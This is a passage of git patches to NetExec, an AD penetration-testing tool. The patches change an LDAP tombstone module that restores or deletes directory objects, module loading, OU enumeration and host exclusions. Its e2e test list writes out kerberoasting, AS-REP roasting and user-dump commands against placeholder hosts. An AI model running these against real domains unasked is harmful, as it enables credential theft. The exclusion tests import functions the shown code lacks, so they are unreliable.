context.log.error("DN is necessary when calling tombstone with the delete action") sys.exit(1) def domain_to_dn(self, domain): From ac55e28feea24efd4bab6a5f5483b44dd141b505 Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Sun, 13 Jul 2025 16:44:30 -0300 Subject: [PATCH 011/397] update tombstone.py to fix when ntlm is disabled When netexec impacket gets merged with the most up to date version from fortra this fix will work when a domain disabled ntlm Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- nxc/modules/tombstone.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index acb379cc40..37e79fad74 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -125,6 +125,11 @@ def restore_deleted_object(self, context, connection): context.log.highlight(f"The object was not found with id {self.id}.") return None + #If Kerberos True, then fqdn is used, similar to the -dc-host from impacket, set the machine_name to a fqdn and don't call _get_machine_name (good when NTLM is disabled) + if self.__doKerberos == True: + + self.__kdcHost = self.__host + ldap_server, ldap_session = init_ldap_session(self.__domain, self.__username, self.__password, self.__lmhash, self.__nthash, self.__doKerberos, self.__host, self.__kdcHost, self.__aesKey, self.ssl) control = ("1.2.840.113556.1.4.417", True, None) @@ -148,6 +153,11 @@ def restore_deleted_object(self, context, connection): def delete_object(self, context, connection): + #If Kerberos True, then fqdn is used, similar to the -dc-host from impacket, set the machine_name to a fqdn and don't call _get_machine_name (good when NTLM is disabled) + if self.__doKerberos == True: + + self.__kdcHost = self.__host + ldap_server, ldap_session = init_ldap_session(self.__domain, self.__username, self.__password, self.__lmhash, self.__nthash, self.__doKerberos, self.__host, self.__kdcHost, self.__aesKey, self.ssl) context.log.highlight(f"Trying to delete {self.deleteDN}") From 664055c7c379c9d8b508531b3e498763beb589fb Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Sun, 13 Jul 2025 17:07:45 -0300 Subject: [PATCH 012/397] Update e2e_commands.txt Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 7d03207edd..2492626f79 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -202,6 +202,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-info-users +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M tombstone netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps From 6409e0d6845c5324a71ff621562ba820d37b048e Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 3 Mar 2026 12:28:10 -0500 Subject: [PATCH 013/397] fix(moduleloader): isolate module namespaces and cache loaded modules The module loader used the same module name "NXCModule" for every file via spec_from_file_location(), causing sys.modules namespace collisions when multiple modules are loaded together (-M mod1 -M mod2). Each subsequent module overwrites the NXCModule class in the shared namespace, so modules loaded earlier resolve a different class than their own. This is the underlying mechanism behind multi-module ordering bugs reported in #879, #880, and #882. Changes: - Use unique module names (nxc_module_) and the modern module_from_spec() + exec_module() API instead of the deprecated load_module() to give each module its own isolated namespace - Cache loaded modules so each file is only parsed and executed once, regardless of how many targets are scanned (~60x faster than re-loading per target) - Extract shared loading logic into load_module_file() classmethod Co-Authored-By: Claude Opus 4.6 --- nxc/loaders/moduleloader.py | 27 ++++++++++++++++++++++----- 1 file changed, 22 insertions(+), 5 deletions(-) diff --git a/nxc/loaders/moduleloader.py b/nxc/loaders/moduleloader.py index 0d04448065..e76024fd3d 100755 --- a/nxc/loaders/moduleloader.py +++ b/nxc/loaders/moduleloader.py @@ -4,7 +4,7 @@ import sys from os import listdir -from os.path import dirname +from os.path import basename, dirname from os.path import join as path_join from nxc.context import Context @@ -46,11 +46,29 @@ def module_is_sane(self, module, module_path): return not module_error + module_cache = {} + + @classmethod + def load_module_file(cls, module_path): + """Load a module file and return the raw module object with isolated namespace. + + Each module gets a unique name to avoid sys.modules collisions that + caused NXCModule class references to be overwritten when loading + multiple modules. Results are cached so each file is only parsed + and executed once regardless of how many targets are scanned. + """ + if module_path not in cls.module_cache: + module_name = f"nxc_module_{basename(module_path)[:-3]}" + spec = importlib.util.spec_from_file_location(module_name, module_path) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + cls.module_cache[module_path] = module + return cls.module_cache[module_path] + def load_module(self, module_path): """Load a module, initializing it and checking that it has the proper attributes""" try: - spec = importlib.util.spec_from_file_location("NXCModule", module_path) - module = spec.loader.load_module().NXCModule() + module = self.load_module_file(module_path).NXCModule() if self.module_is_sane(module, module_path): return module @@ -87,8 +105,7 @@ def init_module(self, module_path): def get_module_info(self, module_path): """Get the path, description, and options from a module""" try: - spec = importlib.util.spec_from_file_location("NXCModule", module_path) - module_spec = spec.loader.load_module().NXCModule + module_spec = self.load_module_file(module_path).NXCModule module = { f"{module_spec.name}": { From 38674a517d8040a6a7d664880787430ea1ad7a03 Mon Sep 17 00:00:00 2001 From: termanix Date: Tue, 7 Apr 2026 20:40:44 +0300 Subject: [PATCH 014/397] scope user search to OU baseDN and add listing header --- nxc/protocols/ldap.py | 58 ++++++++++++++++++++++++++----------------- 1 file changed, 35 insertions(+), 23 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e5ba07102f..ece923ba3b 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -785,37 +785,49 @@ def groups(self): def ous(self): # Building the search filter if self.args.ous: + # Find the OU's distinguished name first self.logger.debug(f"Dumping users from OU: {self.args.ous}") - search_filter = "(&(objectCategory=person)(objectClass=user))" - attributes = ["cn", "sAMAccountName", "distinguishedName"] - else: - self.logger.debug("Dumping all organizational units") - search_filter = "(objectCategory=organizationalUnit)" - attributes = ["ou", "distinguishedName"] + ou_resp = self.search( + f"(&(objectCategory=organizationalUnit)(ou={self.args.ous}))", + ["distinguishedName"], + 0, + ) + ou_parsed = parse_result_attributes(ou_resp) - # Perform the search - resp = self.search(search_filter, attributes, 0) - resp_parsed = parse_result_attributes(resp) + if not ou_parsed: + self.logger.fail(f"OU '{self.args.ous}' not found") + return - self.logger.debug(f"Total of records returned: {len(resp_parsed)}") + ou_dn = ou_parsed[0]["distinguishedName"] + self.logger.debug(f"Found OU DN: {ou_dn}") + + # Search for users scoped to that OU + resp = self.search( + "(&(objectCategory=person)(objectClass=user))", + ["sAMAccountName", "cn"], + 0, + baseDN=ou_dn, + ) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned: {len(resp_parsed)}") + + if not resp_parsed: + self.logger.fail(f"OU '{self.args.ous}' has no users") + return - # Process results - if self.args.ous: - found_users = [] - target_ou = self.args.ous.upper() for user in resp_parsed: - dn = user["distinguishedName"].upper() - if f"OU={target_ou}" in dn: - username = user.get("sAMAccountName", user.get("cn", "Unknown")) - self.logger.highlight(username) - found_users.append(username) - - if not found_users: - self.logger.fail(f"OU {self.args.ous} not found or has no users") + self.logger.highlight(user.get("sAMAccountName", user.get("cn", "Unknown"))) else: + # List all OUs + self.logger.debug("Dumping all organizational units") + resp = self.search("(objectCategory=organizationalUnit)", ["ou", "distinguishedName"], 0) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned: {len(resp_parsed)}") + + self.logger.highlight(f"{'-OU-':<40} {'-Distinguished Name-'}") for item in resp_parsed: try: - ou_name = item.get("ou", "Unknown") + ou_name = item["ou"] dn = item["distinguishedName"] self.logger.highlight(f"{ou_name:<40} {dn}") except Exception as e: From e6c2cda3d8c3d564036dda39908259508913ff77 Mon Sep 17 00:00:00 2001 From: termanix Date: Tue, 7 Apr 2026 20:41:30 +0300 Subject: [PATCH 015/397] e2e update --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index adf2dd467b..01267cf523 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -208,6 +208,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ous +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ous TARGET_OU netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid netexec ldap TARGET_HOST -u LOGIN_USERNAME -p '' --asreproast /tmp/output.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --kerberoasting /tmp/kerberoasting1.txt From 2250d2b1f37f521fea07274e29a3750d513709df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 15 Apr 2026 11:15:57 +0200 Subject: [PATCH 016/397] Add exclusion options --- nxc/config.py | 7 + nxc/data/nxc.conf | 2 + nxc/netexec.py | 38 ++++- nxc/parsers/ip.py | 21 +++ pyproject.toml | 1 + tests/test_ip_excluseion.py | 311 ++++++++++++++++++++++++++++++++++++ 6 files changed, 378 insertions(+), 2 deletions(-) create mode 100644 tests/test_ip_excluseion.py diff --git a/nxc/config.py b/nxc/config.py index 477bdaf5c2..98d9b28296 100644 --- a/nxc/config.py +++ b/nxc/config.py @@ -39,6 +39,13 @@ host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"])) check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False) +exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback="")) +if not isinstance(exclude_hosts, list): + nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.") + exit(1) + +skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False) + if len(host_info_colors) != 4: nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.") host_info_colors = nxc_default_config.get("nxc", "host_info_colors") diff --git a/nxc/data/nxc.conf b/nxc/data/nxc.conf index 6eb6e50094..cce621e3e9 100755 --- a/nxc/data/nxc.conf +++ b/nxc/data/nxc.conf @@ -7,6 +7,8 @@ reveal_chars_of_pwd = 0 log_mode = False host_info_colors = ["green", "red", "yellow", "cyan"] check_guest_account = False +exclude_hosts = [] +skip_self = False [BloodHound] bh_enabled = False diff --git a/nxc/netexec.py b/nxc/netexec.py index 18e9a9e21f..653aed1791 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -1,8 +1,9 @@ # PYTHON_ARGCOMPLETE_OK import sys + from nxc.helpers.logger import highlight from nxc.helpers.misc import identify_target_file, display_modules -from nxc.parsers.ip import parse_targets +from nxc.parsers.ip import parse_targets, get_local_ips from nxc.parsers.nmap import parse_nmap_xml from nxc.parsers.nessus import parse_nessus_file from nxc.cli import gen_cli_args @@ -12,7 +13,7 @@ from nxc.paths import NXC_PATH, WORKSPACE_DIR from nxc.console import nxc_console from nxc.logger import nxc_logger -from nxc.config import nxc_config, nxc_workspace, config_log +from nxc.config import nxc_config, nxc_workspace, config_log, exclude_hosts, skip_self from nxc.database import create_db_engine from concurrent.futures import ThreadPoolExecutor, as_completed import asyncio @@ -23,6 +24,7 @@ from os.path import join as path_join from sys import exit from rich.progress import Progress +from pathlib import Path import platform if sys.stdout.encoding == "cp1252": sys.stdout.reconfigure(encoding="utf-8") @@ -128,6 +130,38 @@ def main(): except Exception as e: nxc_logger.fail(f"Failed to parse target '{target}': {e}") + # Handle exclusions from config + excluded_ips = set() + + # Process exclude_hosts from config + # Important, we are reusing the parse_targets because it already provides the code necessary for + # parsing all provided inputs + if exclude_hosts: + nxc_logger.debug(f"Processing exclusions from config: {exclude_hosts}") + for excluded in exclude_hosts: + if Path(excluded).is_file(): + with open(excluded) as excluded_file_handler: + for line in excluded_file_handler.readlines(): + excluded_ips.update(parse_targets(line.strip())) + else: + excluded_ips.update(parse_targets(excluded)) + + # Process skip_self from config + if skip_self: + local_ips = get_local_ips() + if local_ips: + nxc_logger.debug(f"Local IPs detected: {local_ips}") + excluded_ips.update(local_ips) + else: + nxc_logger.error("Could not determine local IP address for skip_self") + + # Filter out excluded targets + if excluded_ips: + original_count = len(targets) + excluded_targets = [target for target in targets if target in excluded_ips] + targets = [target for target in targets if target not in excluded_ips] + nxc_logger.debug(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}") + # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky if hasattr(args, "clear_obfscripts") and args.clear_obfscripts: obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts") diff --git a/nxc/parsers/ip.py b/nxc/parsers/ip.py index 7106b83c42..dacdc33d07 100755 --- a/nxc/parsers/ip.py +++ b/nxc/parsers/ip.py @@ -1,6 +1,27 @@ +import netifaces from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface +def get_local_ips(): + """Get the local IP address using netifaces library.""" + interfaces = netifaces.interfaces() + ips = set() + + for interface in interfaces: + # Skip loopback interface + if interface == "lo" or interface.startswith("lo"): + continue + + addresses = netifaces.ifaddresses(interface) + if netifaces.AF_INET in addresses: + for addr_info in addresses[netifaces.AF_INET]: + ip = addr_info.get("addr") + # Skip localhost and link-local addresses + if ip and not ip.startswith("127.") and not ip.startswith("169.254."): + ips.add(ip) + return ips + + def parse_targets(target): try: if "-" in target: diff --git a/pyproject.toml b/pyproject.toml index 4fd1f71749..77da1a2430 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -49,6 +49,7 @@ dependencies = [ "impacket @ git+https://github.com/Pennyw0rth/impacket", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", + "netifaces (>=0.11.0,<0.12.0)", ] [project.urls] diff --git a/tests/test_ip_excluseion.py b/tests/test_ip_excluseion.py new file mode 100644 index 0000000000..85a9369710 --- /dev/null +++ b/tests/test_ip_excluseion.py @@ -0,0 +1,311 @@ +from unittest.mock import patch + +from nxc.parsers.ip import get_local_ip, parse_exclusions, parse_targets + + +class TestGetLocalIP: + """Test local IP detection functionality.""" + + @patch("netifaces.interfaces") + @patch("netifaces.ifaddresses") + def test_get_local_ip_success(self, mock_ifaddresses, mock_interfaces): + """Test successful local IP detection via netifaces.""" + # Mock available interfaces + mock_interfaces.return_value = ["lo", "eth0", "wlan0"] + + # Mock addresses for each interface + import netifaces + mock_ifaddresses.side_effect = lambda iface: { + "lo": {netifaces.AF_INET: [{"addr": "127.0.0.1"}]}, + "eth0": {netifaces.AF_INET: [{"addr": "192.168.1.100"}]}, + "wlan0": {} + }.get(iface, {}) + + result = get_local_ip() + + assert result == "192.168.1.100" + mock_interfaces.assert_called_once() + + @patch("netifaces.interfaces") + @patch("netifaces.ifaddresses") + def test_get_local_ip_skip_localhost(self, mock_ifaddresses, mock_interfaces): + """Test that localhost addresses are skipped.""" + # Mock only loopback interface + mock_interfaces.return_value = ["lo"] + + import netifaces + mock_ifaddresses.return_value = { + netifaces.AF_INET: [{"addr": "127.0.0.1"}] + } + + result = get_local_ip() + + assert result is None + + @patch("netifaces.interfaces") + @patch("netifaces.ifaddresses") + def test_get_local_ip_skip_link_local(self, mock_ifaddresses, mock_interfaces): + """Test that link-local addresses (169.254.x.x) are skipped.""" + mock_interfaces.return_value = ["eth0"] + + import netifaces + mock_ifaddresses.return_value = { + netifaces.AF_INET: [{"addr": "169.254.1.1"}] + } + + result = get_local_ip() + + assert result is None + + @patch("netifaces.interfaces") + def test_get_local_ip_exception_handling(self, mock_interfaces): + """Test when netifaces raises an exception.""" + # Make interfaces() raise an exception + mock_interfaces.side_effect = Exception("Network error") + + result = get_local_ip() + + assert result is None + + +class TestParseExclusions: + """Test exclusion parsing functionality.""" + + def test_parse_exclusions_single_ip(self): + """Test parsing single IP address.""" + exclusions = ["192.168.1.10"] + result = parse_exclusions(exclusions) + + assert result == {"192.168.1.10"} + + def test_parse_exclusions_multiple_ips(self): + """Test parsing multiple IP addresses.""" + exclusions = ["192.168.1.10", "10.0.0.1", "172.16.0.5"] + result = parse_exclusions(exclusions) + + assert result == {"192.168.1.10", "10.0.0.1", "172.16.0.5"} + + def test_parse_exclusions_cidr_range(self): + """Test parsing CIDR notation.""" + exclusions = ["192.168.1.0/30"] # Should expand to .1, .2 + result = parse_exclusions(exclusions) + + expected = {"192.168.1.0", "192.168.1.1", "192.168.1.2", "192.168.1.3"} + assert result == expected + + def test_parse_exclusions_ip_range(self): + """Test parsing IP range notation.""" + exclusions = ["192.168.1.10-192.168.1.12"] + result = parse_exclusions(exclusions) + + expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"} + assert result == expected + + def test_parse_exclusions_short_range(self): + """Test parsing short IP range notation.""" + exclusions = ["192.168.1.10-12"] # Should expand to 192.168.1.10-192.168.1.12 + result = parse_exclusions(exclusions) + + expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"} + assert result == expected + + def test_parse_exclusions_hostname(self): + """Test parsing hostname (treated as string).""" + exclusions = ["example.com"] + result = parse_exclusions(exclusions) + + assert result == {"example.com"} + + def test_parse_exclusions_mixed_formats(self): + """Test parsing mixed IP formats.""" + exclusions = [ + "192.168.1.10", # Single IP + "10.0.0.0/31", # CIDR (expands to .0, .1) + "172.16.1.5-7", # Short range + "test.local" # Hostname + ] + result = parse_exclusions(exclusions) + + expected = { + "192.168.1.10", + "10.0.0.0", "10.0.0.1", + "172.16.1.5", "172.16.1.6", "172.16.1.7", + "test.local" + } + assert result == expected + + def test_parse_exclusions_empty_list(self): + """Test parsing empty exclusion list.""" + exclusions = [] + result = parse_exclusions(exclusions) + + assert result == set() + + def test_parse_exclusions_ipv6(self): + """Test parsing IPv6 addresses.""" + exclusions = ["2001:db8::1"] + result = parse_exclusions(exclusions) + + assert result == {"2001:db8::1"} + + +class TestTargetFiltering: + """Test integration of exclusion filtering with target parsing.""" + + def test_target_filtering_excludes_single_ip(self): + """Test that single IP is properly excluded from target list.""" + targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"] + exclusions = parse_exclusions(["192.168.1.2"]) + + filtered_targets = [target for target in targets if target not in exclusions] + + assert filtered_targets == ["192.168.1.1", "192.168.1.3"] + + def test_target_filtering_excludes_cidr_range(self): + """Test that CIDR range exclusions work properly.""" + targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.10"] + exclusions = parse_exclusions(["192.168.1.0/30"]) # Excludes .0-.3 + + filtered_targets = [target for target in targets if target not in exclusions] + + assert filtered_targets == ["192.168.1.10"] + + def test_target_filtering_no_exclusions(self): + """Test that no exclusions leaves targets unchanged.""" + targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"] + exclusions = parse_exclusions([]) + + filtered_targets = [target for target in targets if target not in exclusions] + + assert filtered_targets == targets + + def test_target_filtering_all_excluded(self): + """Test that all targets can be excluded.""" + targets = ["192.168.1.1", "192.168.1.2"] + exclusions = parse_exclusions(["192.168.1.0/30"]) # Excludes .0-.3 + + filtered_targets = [target for target in targets if target not in exclusions] + + assert filtered_targets == [] + + def test_target_filtering_mixed_formats(self): + """Test filtering with mixed target and exclusion formats.""" + # Targets from parse_targets (simulated) + targets = [] + for target_spec in ["192.168.1.1", "10.0.0.1-3"]: + targets.extend(list(parse_targets(target_spec))) + + # Exclude some targets + exclusions = parse_exclusions(["192.168.1.1", "10.0.0.2"]) + + filtered_targets = [target for target in targets if target not in exclusions] + + expected = ["10.0.0.1", "10.0.0.3"] + assert set(filtered_targets) == set(expected) + + +class TestEdgeCases: + """Test edge cases and error conditions.""" + + def test_exclusions_with_invalid_ip(self): + """Test that invalid IPs are treated as hostnames.""" + exclusions = ["invalid.ip.address"] + result = parse_exclusions(exclusions) + + # Should be treated as hostname + assert result == {"invalid.ip.address"} + + def test_exclusions_duplicate_handling(self): + """Test that duplicate exclusions are handled properly.""" + exclusions = ["192.168.1.1", "192.168.1.1", "192.168.1.2"] + result = parse_exclusions(exclusions) + + # Set should deduplicate + assert result == {"192.168.1.1", "192.168.1.2"} + + def test_exclusions_case_sensitivity(self): + """Test hostname case sensitivity.""" + exclusions = ["Example.COM", "example.com"] + result = parse_exclusions(exclusions) + + # Should preserve case (hostnames are case-insensitive but we preserve input) + assert result == {"Example.COM", "example.com"} + + +class TestConfigIntegration: + """Test config-based exclusion integration.""" + + @patch("nxc.config.exclude_hosts", ["192.168.1.10", "10.0.0.0/30"]) + @patch("nxc.config.skip_self", False) + def test_config_exclusions_loaded(self): + """Test that exclusions are properly loaded from config.""" + from nxc.config import exclude_hosts, skip_self + + assert exclude_hosts == ["192.168.1.10", "10.0.0.0/30"] + assert skip_self is False + + @patch("nxc.config.exclude_hosts", []) + @patch("nxc.config.skip_self", True) + def test_config_skip_self_enabled(self): + """Test that skip_self config option works.""" + from nxc.config import skip_self + + assert skip_self is True + + def test_config_exclusions_processing(self): + """Test that config exclusions are processed correctly.""" + # Simulate config values + config_exclusions = ["192.168.1.10", "10.0.0.0/30"] + + # Process exclusions the same way as in netexec.py + excluded_ips = set() + if config_exclusions: + excluded_ips.update(parse_exclusions(config_exclusions)) + + expected = { + "192.168.1.10", + "10.0.0.0", "10.0.0.1", "10.0.0.2", "10.0.0.3" + } + assert excluded_ips == expected + + +class TestConfigValidation: + """Test config validation and error handling.""" + + def test_malformed_exclude_hosts_syntax_error(self): + """Test that malformed exclude_hosts syntax is handled gracefully.""" + from ast import literal_eval + + # Simulate what happens in config.py with malformed input + malformed_inputs = [ + "[192.168.1.1]", # Missing quotes + "[192.168.1.1, 10.0.0.1]", # Multiple without quotes + "192.168.1.1", # Plain string + "", # Empty string + ] + + for malformed_input in malformed_inputs: + try: + result = literal_eval(malformed_input) + # If we get here, it didn't fail as expected + assert isinstance(result, list), f"Expected list for valid input: {malformed_input}" + except (ValueError, SyntaxError): + # This is expected behavior - should gracefully handle the error + # In actual config.py, this would fall back to empty list + assert True + + def test_exclude_hosts_type_validation(self): + """Test that non-list values are rejected.""" + from ast import literal_eval + + # Test inputs that parse successfully but aren't lists + non_list_inputs = [ + '"192.168.1.1"', # String instead of list + "192", # Integer + "True", # Boolean + ] + + for input_val in non_list_inputs: + result = literal_eval(input_val) + # Should validate that result is a list + assert not isinstance(result, list), f"Input {input_val} should not be a list" From f83b10a3af38d1764d3b74b6ac5365902b87ade6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 15 Apr 2026 11:20:46 +0200 Subject: [PATCH 017/397] small fix --- nxc/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/config.py b/nxc/config.py index 98d9b28296..d48e133e1d 100644 --- a/nxc/config.py +++ b/nxc/config.py @@ -39,7 +39,7 @@ host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"])) check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False) -exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback="")) +exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[])) if not isinstance(exclude_hosts, list): nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.") exit(1) From 6512a9801e6d6afe9f57573e196842acc17e0dfc Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Wed, 15 Apr 2026 19:12:18 -0300 Subject: [PATCH 018/397] Removed LDAP3 connection, removed old imports, removed SSL action Removed the LDAP3 connection and now use impacket with the new CRUD method from the latest merged PR, removed the SSL option since now the first connection is handled by netexec and not ldap3 Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- nxc/modules/tombstone.py | 102 ++++++++++++--------------------------- 1 file changed, 32 insertions(+), 70 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index 37e79fad74..4caf756205 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -1,10 +1,11 @@ import sys from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldapasn1 from nxc.logger import nxc_logger from nxc.parsers.ldap_results import parse_result_attributes from impacket.ldap.ldapasn1 import Control -from impacket.examples.utils import init_ldap_session -from ldap3 import MODIFY_REPLACE, MODIFY_DELETE +from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE, MODIFY_DELETE +from nxc.helpers.misc import CATEGORY class NXCModule: @@ -15,6 +16,7 @@ class NXCModule: supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False + category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context @@ -26,11 +28,9 @@ def options(self, context, module_options): ACTION: Specify the action to execute, by default it uses the "query" action which only retrieve deleted objects, "restore" recover the object from the "ID" param, delete will delete the object. ID: The id of which object you want to restore. DN: The DN of which object you want to delete. - SCHEME: Force to use ldap or ldaps when trying to restore or delete an object, by default it uses ldaps. Usage: nxc ldap $DC-IP -u Username -p Password -M tombstone" nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local" - nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 SCHEME=ldap nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query """ self.action = "query" @@ -43,8 +43,6 @@ def options(self, context, module_options): self.id = module_options["ID"] if "DN" in module_options: self.deleteDN = module_options["DN"] - if "SCHEME" in module_options and module_options["SCHEME"] == "ldap": - self.ssl = False if "ACTION" in module_options and self.action == "restore" and "ID" not in module_options: context.log.error("ID is necessary when calling tombstone with the restore action") @@ -92,17 +90,11 @@ def restore_deleted_object(self, context, connection): else: nxc_logger.debug(e) return False - - if len(resp) < 1: - context.log.highlight("Recycle is not active on that domain or no object is deleted.") - - return None - - context.log.highlight(f"Found {len(resp)} deleted objects, parsing results to recover necessary informations from given ID") - context.log.highlight("") - + resp_parsed = parse_result_attributes(resp) + context.log.highlight(f"") + for response in resp_parsed: # The value 17 is the first entry from the ldap query when returning deleted objects and it should by default return the Deleted Objects OU information, by skipping this we return only objects that we want @@ -125,54 +117,40 @@ def restore_deleted_object(self, context, connection): context.log.highlight(f"The object was not found with id {self.id}.") return None - #If Kerberos True, then fqdn is used, similar to the -dc-host from impacket, set the machine_name to a fqdn and don't call _get_machine_name (good when NTLM is disabled) - if self.__doKerberos == True: - - self.__kdcHost = self.__host - - ldap_server, ldap_session = init_ldap_session(self.__domain, self.__username, self.__password, self.__lmhash, self.__nthash, self.__doKerberos, self.__host, self.__kdcHost, self.__aesKey, self.ssl) - - control = ("1.2.840.113556.1.4.417", True, None) + # LDAP control necessary to pass when recovering deleted objects [LDAP_SERVER_SHOW_DELETED_OID] + show_deleted_control = Control() + show_deleted_control["controlType"] = "1.2.840.113556.1.4.417" + show_deleted_control["criticality"] = True - success = ldap_session.modify( - dn=self.__objectDN, - changes={ - "isDeleted": [(MODIFY_DELETE, [])], # Remove the isDeleted atribute - "distinguishedName": [(MODIFY_REPLACE, [f"CN={self.__sAMAccountName},{self.__lastKnownParent}"])] # Change the old dn to the original DN - }, - controls=[control] - ) - - if success: + try: + connection.ldap_connection.modify(dn=self.__objectDN, + modifications={ + "isDeleted": [(MODIFY_DELETE, [])], # Remove the isDeleted atribute + "distinguishedName": [(MODIFY_REPLACE, [f"CN={self.__sAMAccountName},{self.__lastKnownParent}"])] #restore the user DN + }, + controls=[show_deleted_control] + ) context.log.highlight(f'Success "CN={self.__sAMAccountName},{self.__lastKnownParent}" restored') - else: - - context.log.highlight(f"Error at trying to recover the object {ldap_session.result['description']}") + except LDAPSessionError as e: + context.log.highlight(f"Error at trying to recover the object {e}") + return + def delete_object(self, context, connection): - - #If Kerberos True, then fqdn is used, similar to the -dc-host from impacket, set the machine_name to a fqdn and don't call _get_machine_name (good when NTLM is disabled) - if self.__doKerberos == True: - - self.__kdcHost = self.__host - - ldap_server, ldap_session = init_ldap_session(self.__domain, self.__username, self.__password, self.__lmhash, self.__nthash, self.__doKerberos, self.__host, self.__kdcHost, self.__aesKey, self.ssl) context.log.highlight(f"Trying to delete {self.deleteDN}") - - success = ldap_session.delete(self.deleteDN) - if success: + try: + connection.ldap_connection.delete(dn=self.deleteDN) context.log.highlight("") context.log.highlight(f'Success, "{self.deleteDN}" deleted') - else: - + except LDAPSessionError as e: context.log.highlight("") - context.log.highlight(f'Error when trying to delete 